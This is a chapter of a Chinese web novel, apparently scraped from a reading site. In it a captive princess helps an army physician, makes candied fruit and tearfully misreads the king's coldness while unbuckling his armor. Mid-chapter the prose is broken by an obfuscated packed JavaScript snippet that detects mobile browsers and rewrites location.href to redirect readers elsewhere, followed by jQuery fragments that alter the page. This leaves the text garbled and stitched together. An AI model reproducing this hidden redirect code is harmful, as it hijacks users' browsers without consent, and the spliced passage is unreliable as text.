默认冷灰
24号文字
方正启体

41. 第四十一章

作者:读云令本书字数:K更新时间:
    “欸,大王可是要去演武场?”


    余长刚一进门,迎面便碰上披甲执剑的刘巽。


    “嗯。”


    余长忙捧起手中的药,问道:


    “大王,要不先喝了药再去?”


    刘巽错身而过,头也不回,


    “不用。”


    暂时离开中军大帐,月澜脚步轻盈。


    守卫听她是去找沈大夫,便也没有再阻拦。


    她心情明朗,全然没有注意到身后鹰隼般的目光。


    “偷奸耍滑。”


    小小的身影四下穿梭,与营地格格不入,刘巽黑眸微微眯起,旋即转身。


    沈大夫的帐子不远,就在议事帐群的外沿。


    月澜面上甜笑,口中婉转轻唤:


    “沈大夫……”


    老翁脸上没有一丝表情变化,他眉头皱起,一边盯着眼前的药方,一边拾掇乱七八糟的药材。


    “吵什么?”


    一股浓重的苦味直袭面门,月澜忙捂住口鼻,声音闷闷,


    “沈大夫,余长让我来给您帮忙。”


    老翁这才动了动,扭头看向身侧的小姑娘,眼神对了半天,才道:


    “昨夜力气那般大,腿脚可都好全了?”


    没想到他竟还记得自己,她重重点头,


    “嗯,除了偶尔骨头缝里疼,其他时候都不影响。”


    老翁眉梢一挑,冷哼道:


    “老了可不一定。”


    月澜一时语塞。


    “行了,废话少说,都会干些什么活儿?”


    “嗯…,会…烧火。”


    “行,去那边儿看着药,小火慢煎。”


    “好。”


    瞥见案上奇形怪状的药材,月澜脚步一顿,随口说道:


    “这些药,好生浓重的苦气。”


    沈大夫看向帐外,罕见地叹了一息,


    “不重,也压不住大王身上的寒气。”


    她矮身蹲下,添进几根柴火,偏头道:


    “寒气?竟这般难治?”


    沈大夫似是十分懊恼,


    “不爱惜自个儿的身子,净会折腾老夫……”


    见火势稳定,月澜踱到药材旁边,细细打量。


    啪——


    沈大夫拍下她跃跃欲试的小手。


    “休要乱动。”


    “哦,好嘛。”


    摸摸被打痛的手背,转过身,


    “好苦,熏得眼泪都要流出来。”


    忽地,她眸子一亮。


    罗汉果!


    霈国盛产罗汉果,此物最是甘甜,辅有安神的功效。


    宫中果品陈设,常年摆有罗汉果蜜饯。


    “沈大夫,我来熬罗汉果蜜饯,可甜!”


    老翁揉了揉脑袋,瞪道:


    “你同小内侍,以后再不准过来!一个个吵得老夫脑仁儿疼。”


    月澜双颊微红,抿了抿唇,小声道:


    “不好意思,沈大夫。那…那,我可不可以带几颗回去?”


    他捻起药材,对着光,一厘厘检视,鼻中冷哼,


    “嗯。”


    月澜随手抓了几颗放入袖中,坐回灶火前,专心看火。


    陪着熬了两锅药,她实在撑不住熏人的药气,便告辞回了大帐。


    午时已至,大帐却空无一人。


    她摸摸肚子,向外张望。


    枯坐片刻,正打算往后帐的膳所寻些吃食。


    余长便拎着食盒,走了进来,


    “公主这么快就回来啦?来用膳吧。”


    “唔,太苦,鼻子都快闻不见味儿了。”


    将碗碟摆出,余长皱起鼻头,叹道:


    “嗨,你是没见过,大王以前的药呀,更苦,堪比鸩毒。”


    脑中浮现出刘巽惯常的冷脸。


    竟这般严重吗?可为何…不太瞧得出……


    记得高漓,前几年也身子欠佳,一点小疼小痛便要叫嚷不止,整个王宫都是他的哭喊。


    月澜若有所思,接过碗碟。


    咚、咚。


    两颗浑圆的罗汉果,自袖口滚落。


    月澜敛了深思,捡起果子道:


    “余长,待会儿我给你做蜜饯吃。”


    “呦,公主还会做这些呢?”


    “那是,我阿娘蕙质兰心,专门教给我的。”


    余长拍拍手,一脸期待,


    “那小的先谢过公主。”他盛出饭,继续闲聊道:


    “小时候跟着师父,燕王宫里也常有各式蜜饯。小的听说,先王最是嗜甜,不过后来大王即位,便几乎没了……”


    月澜听得头头是道。


    用过半碗粟米后,似是才终于回过神,紧张地问道:


    “殿下呢?”


    余长笑了笑,


    “大王在演武场,我一早就将午膳送了过去。”


    她轻抚胸口,长舒了口气,


    “那就好,那就好。”


    未时。


    军靴踏进大帐。


    刘巽刚一掀开帐帘,便嗅到一股甜腻又清凉的香气。


    侧帐嘀嘀咕咕,两人似是相谈甚欢。


    忽地,月澜身形一僵,


    “回来了!”


    她赶忙起身,将咕嘟作响的小锅从炭火上移开,拉过余长跑向外间。


    “殿下。”


    “大王。”


    刘巽冷冷睥向二人,


    “卸甲。”


    余长反应极快,已经移至刘巽身前。


    月澜则脚步略有迟疑,不知是否该上前。


    “高月澜,打算偷懒到何时?”


    少年的脸色极为不耐。


    高—月—澜?


    她脑中嗡响。


    上一回这般连名带姓唤她的人,还是被惹恼了的高漓。


    像是被揪住了小辫儿,她的脸上倏地烧起一片红云,自耳根蔓延至脖颈。


    匆忙垂下眼眸,挪到他高大的身形前,学着余长,将小手搭上锋利的犀甲。


    他没有再说话,微微展开双臂。


    月澜轻轻踮起脚,却始终够不到高处,只好将手移向护臂。


    护臂的系带缠绕紧密,勾勒出他极具力道的小臂线条,


    柔嫩的指腹触上粗硬的皮革,被深深抵住,凹了进去。


    她用力捏住系带头,纵然指节绷得发白,却始终拉不动半分。


    臼齿咬得咯咯作响,额汗也滚了下来。


    同护臂缠斗的间隙,她眼梢瞥到,余长已将甲胄卸下大半。


    心里着急,她后退半步,左手撑上刘巽的内肘,右手奋力拉扯。


    一口气憋得满脸通红,


    终于,系带动了半圈。


    “呼……”


    长舒一口气。


    月澜重新上前,一圈一圈,将系带尽数解下。


    初次尝试大捷,她将目光移向齐整的胸背甲。


    与护臂系带不同,胸背甲用的铰链锁固定。


    未曾见过,她细细端详,浑然不觉自己的脑袋几乎要探到少年的臂膀之下。


    睨着钻营的小脑袋,刘巽眉头紧锁,脚下后退半步。


    铰链锁远离视线,月澜疑惑地抬起头。


    正正儿对上两道阴沉的目光。


    她心下惭愧,声音细若蚊蚺,


    “抱…歉,殿下,我再试试。”


    刘巽的声音冷淡而疏离,


    “离远些。”


    “是。”


    再次上前,月澜只将手伸了过去,不敢随意乱动。


    又是一阵窸窸窣窣。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023385|192821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    大帐中甜腻清凉的气息散了大半。


    鼻尖又能嗅到熟悉的沁香,刘巽渐渐松下劲头。


    忽地,又有缕缕苦味萦绕而上。


    似乎,来自她的发丝。


    啪嗒,


    铰链锁被打开,月澜顺利卸下侧边的甲胄。


    小脸上盈出欣喜。


    可才一抬头,便看见刘巽怪异的神情。


    他鼻尖微动,似是嗅到了十分嫌恶的味道。


    先前的记忆瞬间涌来,她还记得,被朱颜劫持的当晚。


    下马之后,他也是这般轻嗅,对接触过自己身子的衣袍厌恶不已。


    月澜窘迫非常,不自觉后退数步,远远避开两人。


    察觉到她的异常,余长停下手中动作,问道:


    “怎么了,公主?可是划伤了手?”


    她摇摇头,口中断断续续,


    “没……没事,殿下,我…我出去一趟。”


    说罢,也不等刘巽的回答,提裙自顾自奔了出去。


    她蹲到角落,将头脸深深埋下。


    眼中泪光打着转儿,低声啜泣。


    边抹眼泪,边颤巍巍,将鼻尖探向衣袖和领口。


    “离远些。”


    他冰冷的言语犹在耳畔。


    月澜哭得愈发狠厉,上气不接下气,


    “阿…娘,呜…呜…”


    余长将甲胄收拾好,寻了一圈却不见月澜的身影。


    “哎呦,怎的又跑不见了。”


    想起她仓皇的背影,余长满心担忧,连忙寻机跑了出来。


    找了半晌,才看到缩在角落的小小身影。


    他轻步上前,也蹲了下来,


    “公主?可是哪里不舒服?”


    月澜缓缓抬起头,双眼红肿成桃子。


    她往后缩了缩,哽咽道:


    “不要过来。”


    小内侍不明所以,小心问道:


    “为何呀公主?好好儿的,快说说,可急坏小的了。”


    月澜的泪珠儿断了线似的,根本不停。


    “我…想沐浴,想…要新衣……”


    末了,她鼓起勇气,问道:


    “余长——,我是不是…很臭?”


    余长拍起脑门儿,


    “这都哪跟哪儿呀!小的与公主靠得如此之近,一丝异味也闻不到。”


    他掏出手帕,轻轻揽过颤抖的小人儿,安慰道:


    “公主别乱想,大王可还在里面呢。快擦擦脸,乖乖儿的。咱今晚就沐浴,小的给您准备满满一大桶热水,不哭了,不哭了……”


    哄了好一会儿,才将洪水止住。


    小手紧紧揪住余长的袖口,月澜将自己整个人都藏在他的身后。


    一入大帐,便默默拐向侧边。


    刘巽低头批阅公务,可落笔的刹那,笔尖却还是掠过一瞬的迟疑。


    一整个午后,月澜再没出过侧帐。


    晚膳也只是随手拿了两只馒头,偷偷躲在角落啃。


    好在,刘巽似是十分忙碌,没空再理会她。


    余长进进出出,案上的竹简换了一摞又一摞。


    她兀自待在侧帐,吃了颗只做了一半的蜜饯。


    舌尖的甜蜜,将心头的窘迫冲淡了几分。


    她叹口气,拿过余长给的针线,将外袍里里外外缝补了一遍。


    入夜。


    她将侧帐帘掀开一道缝。


    怎的还未歇息?


    惦记着余长答应的沐浴,月澜抿了抿唇,小手揪住帐帘。


    不住地往外瞧。


    她竭尽全力想抓住余长的注意,怎奈他忙着整理奏疏,半点不抬头。


    月澜的目光愈发热切。


    忽地,眸光轻转,竟径直撞上了刘巽阴郁的鹰眸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)